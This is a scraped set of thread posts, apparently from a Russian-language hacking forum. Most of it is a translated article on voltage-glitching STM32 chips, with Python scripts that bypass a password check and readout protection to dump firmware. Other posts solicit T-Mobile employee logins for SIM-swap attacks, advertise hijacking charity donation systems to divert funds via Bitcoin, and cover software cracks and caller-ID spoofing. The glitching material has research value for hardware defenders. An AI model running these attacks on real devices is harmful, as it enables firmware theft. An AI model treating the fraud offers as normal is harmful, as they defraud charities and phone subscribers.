Share your pictures, send large videos, exchange music or transfer big files. No registration required. Unlimited upload/download speed.

dropmefiles.com dropmefiles.com

__

[ VirusTotal

](https://www.virustotal.com/gui/file/95cf1fe20f61f250af4204002e9b18bb91a70a28587d6d8fb815f213bdb6c069/detection)

VirusTotal

www.virustotal.com www.virustotal.com

Пароль от архива:

Hidden content for authorized users.

bhf[.] io

П.С. одно время пользовался данной тулзой но после длительного инактива менял ОС и привязка слетела. Кодер сам улетел в бан, по всем контактам молчит( не призываю никого запускать на своем ПК, ВТ очень сомнительный, хоть и программа работает с текстом

Ищу дамп или базу
ID: 676535aeb4103b69df373676
Thread ID: 41764
Created: 2020-09-04T16:08:54+0000
Last Post: 2020-09-04T17:14:46+0000
Author: hehe
Replies: 3 Views: 1K

Ищу дамп или базу схем для телефонов, ноутбуков и прочей электроники. Если у кого есть дампы сайта или форума похожей тематики - готов купить.

Очень нужна помощь по unlock-у ноутбука!первый раз с таким столкнулся!
ID: 676535aeb4103b69df37367f
Thread ID: 40067
Created: 2020-07-27T15:32:42+0000
Last Post: 2020-07-30T13:36:19+0000
Author: Castmaster
Replies: 5 Views: 1K

Доброго времени суток!
Приобрел ноутбук фирмы dell latitude e5430, при запуске винды вылетел белый экран с надписью ,,DeviceFreeze-0137
This device has been identified as unprotected. If you feel this message is in error, please contact us at 281-823-4046.
Что в переводе,,Это устройство было идентифицировано как незащищенное. Если вы считаете, что это сообщение ошибочно, свяжитесь с нами по телефону 281-823-4046.
Переустанавливал винду, прошил биос, поменял озу. Кто знает что с этим можно сделать?и куда вообще копать?

Sim swap T mobile employee tools Quikview
ID: 676535aeb4103b69df373681
Thread ID: 39882
Created: 2020-07-21T16:32:02+0000
Last Post: 2020-07-21T16:32:02+0000
Author: simswap
Replies: 0 Views: 1K

Hello, I am looking for employee carrier logins, I have targets if you know what am talking about hit me up!, pm or telegram @ tools32Mob1
Discord @simswap#0366
Icq - @AZ32719

postimg.cc

Image — Postimages

postimg.cc postimg.cc

Узнать APPLE ID на заблокированном утройстве
ID: 676535aeb4103b69df373685
Thread ID: 37385
Created: 2020-05-16T08:09:06+0000
Last Post: 2020-05-17T11:51:55+0000
Author: Powerking2
Replies: 1 Views: 1K

Всем привет!
Всегда было интересно, есть ли способ узнать apple id , то есть в данном случае назавние ящика @mail.ru, на устройстве при блокировке активации.
У хозяина потерялся ящик, если узнаю название есть шанс восстановить.
Аппарат Iphone 4s , ios 9..3.5
Пробывал через pp25 , все файлы проде прошерстил, нигде не нашел.
Пробывал зажимать кнопки как в ютубе советуют, выходить в ограниченный функционал.. Ничего не работает..
Поделитесь пожалуйста, если кто знает:oops::oops:
ba4f137e-9553-11ea-827b-5fb87199368d.jpg

WinToUSB Crack
ID: 676535aeb4103b69df373688
Thread ID: 37346
Created: 2020-05-15T08:10:33+0000
Last Post: 2020-05-15T08:59:24+0000
Author: dennijenni
Replies: 1 Views: 1K

the most well-known windows tool which is basically developed for creating windows operating system installation on storage devices like USB hard drive, USB flash drive, ISO image or CD / DVD drive. So, it is a very suitable window booting application with highly recommended functions which play an important role in your windows. It is a very clever freeware that supports creating a bootable WinPE USB drive that can be helpful for transfer the contents of WinPE to a USB drive and enabled the drive bootable. WinToUSB Crack

Стритхакинг Взлом светофора
ID: 676535aeb4103b69df37358b
Thread ID: 107528
Created: 2024-02-05T12:09:26+0000
Last Post: 2024-02-05T17:08:10+0000
Author: k1ddddos
Replies: 11 Views: 997

Как ломануть светофор?
Или билборды?

Hacking of Online Paid platforms now possible{NGOs and Charities Only}
ID: 676535aeb4103b69df37365b
Thread ID: 50887
Created: 2021-04-21T00:58:00+0000
Last Post: 2021-04-21T00:58:00+0000
Author: bills77
Replies: 0 Views: 970

We are now able to hack the "DONATE NOW" system of NGOs and Charity organizations. Looking to get the funds from the donate now platforms? We get you a brand new identity, bank account, link hacked Donate now platform to new Bank account, get Bit coin verified and linked to account as a withdrawal method. All Donations to the Organization through the DONATE NOW platform is redirected to new account. Immediate withdrawals by BTC after every email alert of a deposit through the platform. Operational for 7 days for each hacked NGO or Charity Website. No linkages to the real identity, no bank visits. All withdrawals through Bitcoin
wickr .; donabills
Email; donabills@protnmail.com

Китайские банкоматы GRG
ID: 676535aeb4103b69df37367e
Thread ID: 40366
Created: 2020-08-03T07:17:31+0000
Last Post: 2020-08-03T07:17:31+0000
Author: sweetbrown
Replies: 0 Views: 965

Доброго времени суток!
Недавно наткнулся (статью позитива про ATM читал) на банкоматы от китайцев GRG Banking. Вроде обыкновенные атм-ки, но все равно интересно - кто-нибудь работал с ними? А то инфы не так много...

Заранее благодарен.

Почему происходит подмена телефонных номеров. Часть 1. Кейс МегаФона
ID: 676535aeb4103b69df37356f
Thread ID: 114507
Created: 2024-05-14T09:07:18+0000
Last Post: 2024-06-09T09:09:24+0000
Author: gliderexpert
Replies: 3 Views: 958

репост с Хабра!
Автор: Ярослав@yard

Почему происходит подмена телефонных номеров. Часть 1. Кейс МегаФона
Волна телефонного мошенничества, к сожалению, продолжается. Запуск системы «Антифрод» немного снизил накал страстей. Операторы перестали пачками получать запросы из МВД. ЦБ отчитывается о выявленных «миллионах» якобы мошеннических номеров (профанация отчетов). Но проблемы это не решает.

Сегодня я на примере оператора МегаФон (часть 1) расскажу об уязвимости оператора, которая позволяет технически совершать звонки с подменой телефонного номера (не из емкости МегаФона). И почему расследование таких преступлений заходит в тупик. Постепенно буду демонстрировать проблемы и у других операторов связи, на которые должен обратить внимание Роскомнадзор. И прикрыть эти незаконные лазейки для мошенников, чтобы реально решить проблему с мошенниками. Запросы к операторам об устранении недочетов (мягко говоря) в работе остаются без внимания.

Многие «старички» помнят, что лет 20 назад было модно иметь прямой мобильный номер в коде 495. Идем на любой сайт по продаже sim-карт. Агентов у мобильных операторов становится меньше (ужесточают условия работы), но они еще есть.

Итак. Вот нам предлагают подключить sim-карту МегаФон с прямым номером (495) 506-52-84. Или (495) 508-64-22. Или (495) 507-55-56. Вариантов масса.
1.png

После подключения вы можете принимать входящие звонки на этот номер 495 через sim-карту МегаФона. Согласно инструкции на сайте МегаФон, вы можете совершать и исходящий звонок с городским номером. Нужно ввести служебную команду с префиксом (если разовый звонок) или постоянно активировать через *480#.

Только на самом деле этот номер не является номером МегаФона!!!
2.png

В выписке Реестра нумерации этот [номер](https://opendata.digital.gov.ru/registry/numeric/search-by- number/?num=4955075556) значится за ПАО «Центральный телеграф». Согласно правилам оказания услуг телефонной связи и порядка пропуска трафика, оператор связи для оказания услуг своим абонентам может использовать для исходящих звонков только номера из собственного ресурса нумерации. Все остальное является незаконным. За пропуск такого трафика суды привлекают операторов связи к административной ответственности по ст. 13.2.1.

На сегодня только в Москве уже заведено более 900 дел. Как МегаФон вообще позволяет заключать такие договоры? Когда я сделал запрос в Роскомнадзор о нарушении правил заключения договоров МегаФоном, там просто этот факт проигнорировали и прислали совершенно дикую отписку.
3.png

Поэтому когда телефонный мошенник использует такую вроде «законную» с подачи МегаФона схему, происходит следующее. Вы пишете заявление в полицию. Полиция делает запрос в Центральный телеграф (ведь их же номер у вас высветился в качество аона). С большой долей вероятности МегаФон направляет этот трафик не через стык с Центральным телеграфом (ибо LCR работает). Поэтому Центральный телеграф об этом звонке часто даже ничего и не знает. И пишет отписку в МВД, что звонка не было. Дело быстро закрывается. И все повторяется вновь.

Куда вообще смотрят юристы Ростелекома (а Центральный телеграф принадлежит ему) и МегаФона? Если это агентская схема, почему она не отражена при заключении договора? ГРЧЦ (ответственная за "Антифрод") в курсе пропуска таких звонков? А может Центральный телеграф про это вообще ничего не знает, а?

Кстати, есть примеры, когда у людей МегаФон просто изымает такие номера спустя много лет пользования. Без объяснения причин. Поэтому перед покупкой номера проверяйте, чей номер Вы покупаете и кто за него несет ответственность.

SECGlitcher - Воспроизводимый вольтажный глитчинг на микроконтроллерах STM32 (Часть 1)
ID: 676535aeb4103b69df37356b
Thread ID: 118073
Created: 2024-07-03T08:42:38+0000
Last Post: 2024-07-03T08:42:38+0000
Author: ordinaria1
Prefix: Статья
Replies: 0 Views: 940

1719990887146.png
Вольтажный глитчинг - техника, применяемая в тестировании защиты оборудования. Цель - обойти или изменить нормальную работу устройства путём внедрения глитча

Введение в вольтажный глитчинг

Вольтажный глитчинг - метод тестирования защиты оборудования, направленный на обход или изменение нормальной работы устройства путем внедрения глитча - короткого, но точного сбоя в напряжении питания. Такие атаки работают за счет манипуляции напряжением питания устройства в конкретный момент его работы, обычно при выполнении критической операции или функции, связанной с безопасностью.

Нарушение напряжения питания может вызвать неожиданное поведение целевого устройства, проявляющееся в пропуске инструкций или их некорректном выполнении. Это можно использовать для достижения различных целей в области безопасности, таких как:

Изображения ниже (рисунок 1 и рисунок 2) показывают схему такой атаки.

1719991327505.png
Рисунок 1: Глюк напряжения, наблюдаемый на осциллографе

1719990887146.png
Рисунок 2. Установка для глитчинга с ChipWhisperer Pro, платой разработки STM32 Nucleo и источником питания. Осциллограф расположен в левой верхней части рисунка (не отображается).

Хотя многие используют самодельные инструменты, существуют и профессиональные решения для эксплуатации подобных уязвимостей. Среди них выделяется серия ChipWhisperer , которая развилась из магистерской работы "A Framework for Embedded Hardware Security Analysis" Колина О'Флинна. ChipWhisperer считается наиболее распространенным устройством для глитчинга.

Для работы был выбран именно ChipWhisperer из-за его доступности. Это устройство позволяет проводить эффективные атаки глитчингом на различные микроконтроллеры, включая серию STM32.

Атака на серию STM32

STM32 - 32-битные микроконтроллеры на базе процессора Arm Cortex-M, широко используемые во встраиваемых системах. Различные варианты подходят как для низкого энергопотребления, так и для высокопроизводительных операций. Одна из опций безопасности - Защита от считывания (RDP).

STM32 предлагает три уровня:

RDP уровень 0: Без защиты

RDP уровень 1: Защита от чтения

RDP уровень 2: Защита от чтения и отладки

Для чтения флеш-памяти на устройствах с RDP2 необходимо обойти два уровня защиты.

Понижение RDP2 до RDP1

При загрузке проверяется значение регистра RDP. Для RDP2 должно быть установлено значение 0xCC, для RDP0 - 0xAA. Все другие значения по умолчанию интерпретируются как RDP1 (часто используются 0xBB или 0x55).

Если при чтении регистра RDP из-за вольтажного глитча считывается неправильное значение, устройство считает, что находится на уровне RDP1. В результате становятся доступными интерфейсы отладки и загрузчик.

Чтение памяти при RDP1

На уровне RDP1 доступен внутренний системный загрузчик, который предоставляет операцию "Чтение памяти". Эта операция позволяет прочитать 256 байт с указанного пользователем адреса памяти. Однако на уровне RDP1 такое чтение запрещено.

Микроконтроллер обеспечивает это ограничение, проверяя состояние RDP перед каждой операцией чтения. Если эта проверка нарушается вольтажным глитчем, она пропускается, и происходит чтение 256 байт памяти.

Повторяя глитчинг команды чтения, можно последовательно считывать фрагменты прошивки по 256 байт и собрать их в полный дамп.

SECGlitcher

За последние годы было проведено много исследований атак вольтажным глитчингом, как упоминалось во введении. Однако воспроизведение глитчей часто затруднено из-за использования нестандартного оборудования и неопубликованных параметров глитчинга.

Для решения этой проблемы был разработан структурированный подход, который можно будет расширить для других чипов и плат в будущем.

Создан инструмент SECGlitcher, основанный на широко используемом API ChipWhisperer, но более простой в использовании для стандартных сценариев, таких как триггеры UART или GPIO.

Функции SECGlitcher

SECGlitcher разработан на основе наблюдения, что скрипты глитчинга для разных плат имеют схожую структуру. Инструмент предоставляет простой класс, инкапсулирующий команды инициализации и сбора результатов.

Ключевые особенности:

  1. Воспроизводимость глитчей: Включена база данных с валидными параметрами глитчинга для различных МК. Это ускоряет поиск рабочих настроек.
  2. Использование без GUI: Разработан для эффективного запуска через командную строку, что позволяет проводить тесты на удаленных серверах.
  3. Удобный сбор данных: Результаты можно сохранять в CSV-файлы. Предоставлен вспомогательный скрипт для агрегации и визуализации данных из нескольких попыток глитчинга.
  4. Простая настройка: Установка выполняется в виртуальном окружении с помощью PIP, включая пакет chipwhisperer и другие зависимости.

Эти функции позволяют создавать компактные, структурированные скрипты, легко сравнимые для разных плат и чипов. SECGlitcher упрощает процесс глитчинга, делая его более доступным и эффективным.

Настройка

Для глитчинга выбран подход Crowbar Glitching , при котором линия питания чипа замыкается на землю. Базовая настройка для глитчинга плат Nucleo описана на примере STM23L073RZ.

Подготовка платы включает:

  1. Удаление большинства развязывающих конденсаторов с линии питания.
  2. Добавление пинов для подключения глитчера к линии питания.

Модифицированная плата и схема (доступна как MB1136) с указанием удаляемых конденсаторов показаны на рисунках 3, 4 и 5.

Эти модификации необходимы для эффективного проведения атаки Crowbar Glitching. Удаление конденсаторов уменьшает буферизацию напряжения, что делает микроконтроллер более восприимчивым к глитчам. Дополнительные пины обеспечивают точку доступа для инструмента глитчинга.


Рисунок 3: Модифицированная плата разработки Nucleo STM32L073RZ

1719992894636.png
Рисунок 4: Отмеченные на схеме конденсаторы необходимо удалить (Источник: MB1136 лист 1)

1719992912986.png
Figure 5: Marked capacitors in the schematic need to be removed (Source: MB1136 sheet 2)

Доработка платы:

Причины удаления большинства конденсаторов:

  1. Конденсаторы накапливают энергию. При большой ёмкости на линии питания напряжение падает медленно при замыкании.
  2. Малая ёмкость обеспечивает резкое падение напряжения, что необходимо для эффективного глитчинга.
  3. Система управления питанием пытается стабилизировать напряжение, это может вызвать резкий скачок при снятии замыкания.

Аналогия: попытка открыть запертую дверь, когда кто-то внезапно открывает её с другой стороны.
Риск: Резкие скачки напряжения могут повредить чип.
Решение: Сохранение нескольких конденсаторов для защиты от повреждений при сохранении эффективности глитчинга.

Настройка приводит к глитчу, отображаемому на осциллографе (рисунок 6). Кривая напряжения чипа разделяется на четыре фазы:

  1. Нормальная работа:Постоянное напряжение 3.3В
  2. Глитч:Линия питания замыкается на землюРегулятор напряжения пытается удержать напряжение, но безуспешно
  3. Окончание замыкания:Напряжение резко возрастаетРегулятор все еще пытается поднять напряжение
  4. Восстановление:Регулятор начинает стабилизировать напряжение до 3.3ВНаблюдаются затухающие колебания до полной стабилизации

1719993103374.png
Рисунок 6: Кривая напряжения питания микросхемы во время глюка

Настройка глитчинга

При глитчинге новой платы в конфигурации ChipWhisperer учитываются следующие параметры:

  1. Тактирование:
    • ChipWhisperer использует высокую внутреннюю частоту
    • Отсутствует синхронизация с тактовой частотой цели
  2. Ширина глитча:
    • Время замыкания линии питания на землю
    • Измеряется в тактах ChipWhisperer
    • Критический параметр:
      • Слишком мала: напряжение падает недостаточно
      • Слишком велика: чип перезагружается
      • Оптимальное значение: между этими крайностями
  3. Смещение глитча:
    • Задержка после триггера (изменение состояния пина или получение байта по UART)
    • Используется для синхронизации глитча с целевой инструкцией

SECGlitcher упрощает поиск этих параметров:

Настройка SECGlitcher:

Далее будет представлен пример глитчинга проверки пароля на плате Nucleo STM23L073RZ.

Код целевого МК

C:Copy to clipboard

HAL_Init();
SystemClock_Config();
MX_GPIO_Init();
MX_USART2_UART_Init();
 
char set_pw[] = "mysupersecurepassword";
char check_pw[128];
int check_ok = false;
 
char s1[] = "Init successful\n";
HAL_UART_Transmit(&huart2, (uint8_t*)s1, sizeof(s1), HAL_MAX_DELAY);
 
while (!check_ok) {
  char s2[] = "Please enter password:\n";
  HAL_UART_Transmit(&huart2, (uint8_t*)s2, sizeof(s2), HAL_MAX_DELAY);
 
  int i = 0;
  volatile char c = '\0';
  while (c != '\n' && c != '\r' && i < 127) {
    HAL_UART_Receive(&huart2, (uint8_t*)&c, 1, HAL_MAX_DELAY);
    HAL_UART_Transmit(&huart2, (uint8_t*)&c, 1, HAL_MAX_DELAY);
    if (c == '\n' || c == '\r') {
      check_pw[i] = '\0';
    } else {
      check_pw[i] = c;
    }
    i++;
  }
  check_pw[127] = '\0';
 
  if (strcmp(set_pw, check_pw) == 0) {
    check_ok = true;
  }
}
 
HAL_GPIO_TogglePin(LD2_GPIO_Port, LD2_Pin);
 
char s3[] = "Welcome!\n";
HAL_UART_Transmit(&huart2, (uint8_t*)s3, sizeof(s3), HAL_MAX_DELAY);
char s4[] = "This is your secret: supersecretstring\n";
HAL_UART_Transmit(&huart2, (uint8_t*)s4, sizeof(s4), HAL_MAX_DELAY);

Предыдущий поиск валидных параметров глитчинга для этой платы уже включен в конфигурационный файл.

Code:Copy to clipboard

stm32l073:
pw: [27, 29, 150, 159]

Далее можно создать скрипт глитчинга с использованием SECGlitcher следующим образом:

Python:Copy to clipboard

class MyGlitcher(SECGlitcher):
    def __init__(self, reset_pin='nrst', interactive=False):
        super().__init__(reset_pin)
        self.interactive = interactive
        self.uart = None
 
    def dut_check_init(self):
        log = self.uart.read_until("password:")
        if log.endswith(b"password:\n\x00"):
            return True
        else:
            print("Boot failed!")
            self.scope.io.nrst = "low"
            time.sleep(1)
            return False
 
    def check_glitch(self):
        check = self.uart.readline()
        if b"elcome" in check or b"secret" in check:
            self.add_success()
            print("Glitch successful: Width: {}, Offset: {}".format(*self.success_params[-1]))
            if self.interactive:
                print("Press ENTER to continue")
                input()
        else:
            pass
 
    def dut_uart_init_before_reset(self):
        self.uart = serial.Serial('/dev/ttyACM0', 115200, timeout=0.1)
 
    def dut_uart_write(self):
        self.uart.write(b"\r\n")
 
 
glitcher = MyGlitcher(interactive=True)
glitcher.trigger_setup(trigger='uart', uart_pattern=['\r'])
glitcher.print_config()
glitcher.run(target="stm32l073", app="pw")
glitcher.exit()
glitcher.print_results()
glitcher.save_results()
glitcher.plot_results()

GIF демонстрирует процесс глитчинга проверки пароля в действии.

Figure_7_Password_check_glitching_in_action_Logo.gif

Основные этапы:

  1. Проводятся несколько попыток глитчинга
  2. После нескольких неудачных попыток глитч срабатывает правильно
  3. Проверка пароля пропускается без ввода корректного пароля
  4. Система возвращает секретную информацию

Рисунок 7 ("Password check glitching in action") визуально отображает этот процесс.

Чтение памяти при RDP1

После понижения уровня RDP до 1, появляется возможность глитчинга команды чтения памяти в доступном загрузчике. Активация загрузчика описана в документе [AN2606](https://www.st.com/resource/en/application_note/an2606-stm32-microcontroller- system-memory-boot-mode-stmicroelectronics.pdf) от STM.

Планируется использование UART-загрузчика на плате STM32F429ZI Nucleo:

Протокол описан в [AN3155](https://www.st.com/resource/en/application_note/an3155-usart- protocol-used-in-the-stm32-bootloader-stmicroelectronics.pdf). Для ясности, описание контрольной суммы будет опущено. Подробное описание процесса работы внутреннего загрузчика находится в приложении.

glitch_bootloader_to_download.py

Python:Copy to clipboard

from SECGlitcher import SECGlitcher
import time
import signal
import hexdump
from spd3303x import SPD3303X
from stm32bootloader import STM32SerialBootloader
 
 
def power_cycle():
    with SPD3303X.ethernet_device("x.x.x.x") as dev:
        dev.CH1.set_output(False)
        time.sleep(0.1)
        dev.CH1.set_output(True)
        time.sleep(0.5)
 
 
def int_handler(signum, frame):
    global glitcher
    glitcher.exit()
    glitcher.print_results()
    glitcher.save_results()
 
 
signal.signal(signal.SIGINT, int_handler)
 
 
class MyGlitcher(SECGlitcher):
    def __init__(self, dump_addr, dump_len, dump_filename, reset_pin='nrst'):
        super().__init__(reset_pin)
        self.current_dump_addr = dump_addr
        self.current_dump_len = dump_len
        self.dump_filename = dump_filename
        self.uart = None
 
    def dut_uart_init_before_reset(self):
        time.sleep(0.1)
 
    def dut_uart_init_after_reset(self):
        time.sleep(0.1)
        try:
            self.uart = STM32SerialBootloader("/dev/ttyACM1", baud=115200)
            self.uart.cmd_get_id()
        except ValueError:
            print("Bootloader not Activated properly! Something is wrong!")
            self.scope.io.nrst = "low"
            power_cycle()
            time.sleep(0.1)
            return False
        print("Bootloader available")
        return True
 
    def dut_uart_write(self):
        self.uart.cmd_read_memory_part1()
        print("Using width: {} Offset: {} Success: {}".format(self.current_width, self.current_offset, len(self.success_params)))
 
    def check_glitch(self):
        state = self.uart.cmd_read_memory_part2()
        if state == 0:
            try:
                len_to_dump = 256 if (self.current_dump_len // 256) else self.current_dump_len % 256
                data = self.uart.cmd_read_memory_part3(self.current_dump_addr, len_to_dump)
                #print(data)
                if len(data) == len_to_dump:
                    if data != b"\x79" * len_to_dump:
                        with open(self.dump_filename, 'ab+') as f:
                            f.write(data)
                        self.current_dump_addr += len_to_dump
                        self.current_dump_len -= len_to_dump
                        print("Dumped using width: {} offset: {} success: {}".format(self.current_width,
                                                                                     self.current_offset,
                                                                                     len(self.success_params)))
                        print("Dumped 0x{:x} bytes from addr 0x{:x}, {:x} bytes left".format(len_to_dump,
                                                                                             self.current_dump_addr,
                                                                                             self.current_dump_len))
                else:
                    print("Missing some data, but got")
                    hexdump.hexdump(data)
                self.add_success()
            except Exception as e:
                print(e)
                print("Nothing read")
 
 
glitcher = MyGlitcher(0x0800_0000, 0x200000, dump_filename="dumped_firmware.bin")
glitcher.trigger_setup(trigger='uart', parity='even', uart_pattern=[0x11])
glitcher.print_config()
 
power_cycle()
while glitcher.current_dump_len > 0:
    glitcher.run(target="stm32f429", app="bl_mem")
 
glitcher.exit()
glitcher.print_results()
glitcher.save_results()
glitcher.plot_results()

Рисунок 8 демонстрирует успешный глитч. На нижнем канале S1 видно окончание декодированной UART-передачи: 0xEE (контрольная сумма для 0x11).

1719993661785.png
Рисунок 8: Глюк команды MEMORY_READ на STM32F429ZI

Результат ночного запуска скрипта:

Анализ файла "dumped_firmware.bin" раскрыл секретный пароль "MySecretPasswordString" (см. рисунок 9).

1719993740870.png
Figure 9: Recovered sample program firmware from STM32F429ZI

Заключение

Проект начался с идеи глитчинга микроконтроллеров STM32, часто встречающихся в IoT-устройствах. Исследование оказалось глубже, чем ожидалось изначально.

Изучение существующих работ по глитчингу STM32 показало отсутствие публичных данных о параметрах и деталях процесса. Это привело к созданию класса SECGlitcher, который:

С помощью SECGlitcher удалось продемонстрировать успешные глитчи:

Обнаружены неожиданные препятствия, не упомянутые в других источниках. Это может быть связано с выбором модели STM32. Хотя это замедляет процесс извлечения всей флеш-памяти, уязвимость остается.

Эксперименты показали, что серия микроконтроллеров STM32 должна считаться небезопасной даже при активной защите от чтения. Атакующий может пропускать инструкции, обходить проверки и извлекать полную прошивку.

Класс SECGlitcher значительно улучшил применимость атак глитчингом в повседневных проектах, ускорив настройку и улучшив результаты.

Во второй части серии будет рассмотрен глитчинг STM32 с понижением уровня от RDP2 до RDP1 с последующим дампом содержимого.

**Настройка четного бита четности для UART на ChipWhisperer (Техническое

углубление)** ​

Загрузчик STM32 использует UART-коммуникацию с четным битом четности, как описано в документе [AN3155](https://www.st.com/resource/en/application_note/cd00264342-usart- protocol-used-in-the-stm32-bootloader-stmicroelectronics.pdf). Это стало серьезной проблемой при использовании ChipWhisperer, так как он официально не поддерживает биты четности для UART-интерфейса.

Недавно создатель ChipWhisperer, Колин О'Флинн, упомянул в [статье](https://circuitcellar.com/research-design-hub/basics-of- design/revisiting-code-readout-protection-claims/) о необходимости "пользовательского битстрима для ChipWhisperer-Pro из-за требования четного бита четности в загрузчике".

Однако было найдено альтернативное решение:

  1. Поддержка четного бита четности реализована в FPGA с апреля 2021 года.
  2. Нет необходимости в пользовательском битстриме.
  3. Требовалось только найти способ активации этой функции.

Это открытие позволило использовать ChipWhisperer для работы с загрузчиком STM32 без дополнительных модификаций оборудования, упростив процесс глитчинга и реверса.

GitHub- issue от апреля 2021 показывает, что некоторые регистры конфигурации UART были выставлены в интерфейс для использования в Python. Реализация UART "targ_async_receiver" инициализируется в строке 198reg_decodeiotrigger, где разбираются IO-регистры. Здесь байт 2 "reg_trig_cfg" установлен как "module_specific", и бит "even_parity" оказался первым битом этого байта. Поэтому с радостью представляем решение для установки режима четного бита четности на UART ChipWhisperer ниже, где устанавливается четный бит четности.

Python:Copy to clipboard

CODE_READ = 0x80
CODE_WRITE = 0xC0
ADDR_DECODECFG = 57
ADDR_DECODEDATA = 58
data = self.scope.decode_IO.oa.sendMessage(CODE_READ, ADDR_DECODECFG, Validate=False, maxResp=8)
data[1] = data[1] | 0x01
self.scope.decode_IO.oa.sendMessage(CODE_WRITE, ADDR_DECODECFG, data)

Этот код также реализован в классе SECGlitcher.

История непостоянного таймиинга (Технический инсайд)

При попытке выполнить глитч для чтения памяти было замечено странное явление:

  1. Значение в регистре RDP (контролирующем состояние блокировки) иногда менялось на 0x55.
  2. Регистр SPRMOD (специальная функция защиты от записи в этой модели STM32) иногда менялся на 0x01.

Это было неожиданно, так как запись в эти регистры не производилась.
Предположение: глитч происходит на другом пути загрузчика.
Дальнейшее исследование выявило еще одну аномалию: ответ UART не был постоянным, а случайно смещался в большом временном окне.
Рисунки 10 и 11 демонстрируют разницу до 8 мкс (S1 показывает декодированную UART-коммуникацию).

Поскольку глитч выполняется с фиксированным смещением от команды, фактически он происходит крайне недетерминированно.

1719994125927.png
Рисунок 10: Загрузчик STM32 с быстрым ответом

1719994151845.png
Рисунок 11: Загрузчик STM32 с отложенным ответом

После исключения других возможных причин, было проведено исследование различных тактовых доменов UART-оборудования и самого чипа.

Ключевые моменты:

  1. UART поддерживает максимальную скорость передачи 115200 бод.
  2. Эта скорость значительно ниже по сравнению с 60 МГц, на которой работает ядро во время выполнения загрузчика.

Рисунок 12 ниже предоставляет обзор реализованного UART-оборудования.

1719994206462.png
Рисунок 12: Блок-схема реализации USART (Источник: RM0090 Figure 296)

Из нижней части рисунка 12 видно:

  1. Тактовая частота ядра fPCLKx модифицируется делителем USARTDIV (на основе скорости передачи).
  2. Дополнительный делитель используется перед применением частоты как тактовой для передатчика и приемника.

Это означает, что UART-оборудование работает значительно медленнее внутреннего ядра. Все данные, отправляемые и получаемые через UART, должны пересекать границу между медленным и быстрым тактовыми доменами.

Для проверки наблюдения был проведен статистический анализ задержки ответа при разных скоростях передачи. Гипотеза: если средняя задержка коррелирует со скоростью передачи, то задержка вызвана медленным тактовым доменом UART.

Были созданы множественные графики для 1000 выполнений. Графики для самой быстрой и самой медленной проверенных скоростей передачи показаны на рисунках 13 и 14.
1719994268280.png
Рисунок 13+14: Диаграмма рассеяния и распределение времени отклика UART для скорости передачи данных 9600

1719994285264.png
Рисунок 15+16: Диаграмма рассеяния и распределение времени отклика UART для скорости передачи 115200

Графики показывают значительное изменение задержки для разных скоростей передачи (с соотношением 12:1).

Статистика для скорости 9600 бод:

Статистика для скорости 115200 бод:

Анализируя среднюю задержку, видим соотношение примерно 9.3:1. Предполагая фиксированную базовую задержку (из-за обработки и вычисления ответа), это хорошо согласуется с исходным предположением.

Выводы:

  1. Задержка из-за медленной тактовой частоты UART-оборудования является неотъемлемым препятствием для эффективного глитчинга.
  2. Это может приводить к непредвиденным побочным эффектам из-за смещения параметров выполнения.

Возможное решение:Использование только самых коротких возможных параметров задержки глитча. Это может смягчить эффекты, так как функции, ответственные за некоторые нежелательные побочные эффекты, расположены после команды MEMORY_READ.

Загрузчик STM32

Здесь обобщаются важные части протокола загрузчика, документированные в AN3155. Следующая блок-схема (рисунок 17) показывает последовательность активации загрузчика:

1719994418567.png
Рисунок 17: Последовательность активации загрузчика STM32 (Источник: AN3155 Рисунок 1)

Поэтому первоначально необходимо передать 0x7F, чтобы активировать цикл загрузчика UART. Команда GET_ID для проверки правильности активации реализована следующим образом (рисунок 18):

1719994464034.png
Рисунок 18: Последовательность команд GET_ID (Источник: AN3155 Рисунок 6)

Последовательность действий для проверки и использования загрузчика:

  1. Отправка команды:
    • Отправляем 0x02
    • Отправляем 0xFD (контрольная сумма)
  2. Ожидаемый ответ при полностью рабочем загрузчике:
    • ACK (0x79)
    • PID (в данном случае 0x429)
  3. После подтверждения работоспособности загрузчика можно использовать команду READ_MEMORY.

1719994516035.png
Рисунок 19+20: Последовательность команд READ_MEMORY для хоста (исходный рисунок 19: AN3155 Рисунок 8) и устройства (исходный рисунок 20: AN3155 Рисунок 9)

Анализ рисунка 19 показывает простую команду:

  1. Пользователь отправляет 0x11 (команда) и 0xEE (контрольная сумма).
  2. После получения ACK отправляется адрес (например, 0x8000000 для начала FLASH-памяти) и его контрольная сумма (XOR всех байтов адреса).
  3. МК принимает адрес и отправляет ACK.
  4. Отправляется количество байт для чтения (обычно 0xFF для дампа 256 байт) и контрольная сумма 0x00.

В режиме RDP1 команда не получит подтверждения ACK.
Для дампа памяти необходимо глитчить проверку "Protection active?".
Для анализа реализации этой проверки был сдампен код загрузчика (начиная с 0x1fffc000) и проанализирован в Ghidra.

Структура кода:

  1. Бесконечный цикл сбрасывает сторожевой таймер и принимает два байта по UART (команда и контрольная сумма).
  2. Проверяется контрольная сумма.
  3. При корректной сумме выполняется большой оператор if-else.

Команда READ_MEMORY (0x11) обрабатывается в строке 75 анализируемого кода (код 1).

Code:Copy to clipboard

LAB_1fff0c3c:
while( true ) {
  while( true ) {
    ptr_iwdg_base_reg->IWDG_KR = 0xaaaa;
    orig_cmd = uart_get_char();
    chksum = uart_get_char();
    if ((chksum ^ orig_cmd) != 0xff) {
      orig_cmd = 0x55;
    }
    cmd = (uint)orig_cmd;

Код 1: Реализация загрузчика STM32 для чтения команд UART

Code:Copy to clipboard

cmd_compare = cmd == 0x11;/* READ_MEMORY */if ((bool)cmd_compare) {  addr = check_RDP_and_get_addr();  addr_valid = check_addr_valid_wrapper(addr);  compare_res_eq_1((uint)addr_valid);

Код 2: Реализация загрузчика STM32 для перехода к команде READ_MEMORY

Анализ кода загрузчика после приема команды:

  1. Вызывается функция check_RDP_and_get_addr().
  2. Эта функция:
    • Проверяет статус RDP (чтение регистра, сравнение с 0xAA - незаблокированное состояние)
    • Отправляет ACK для команды
    • Считывает адрес и контрольную сумму по UART
  3. Цель для глитчинга: оператор if проверки is_rdp_enabled в строке 15 (код 3).
  4. Успешный глитч:
    • Пропуск этой инструкции
    • Выполнение остальной части команды, несмотря на активный RDP1

Code:Copy to clipboard

uint32_t check_RDP_and_get_addr(void)
{
    byte bVar1;
    byte bVar2;
    byte bVar3;
    byte bVar4;
    byte bVar5;
    int is_rdp_enabled;

    is_rdp_enabled = is_RDP_enabled();
    if (is_rdp_enabled == 0) {
        usart_write_byte(0x79);
        bVar1 = uart_get_char();
        bVar2 = uart_get_char();
        bVar3 = uart_get_char();
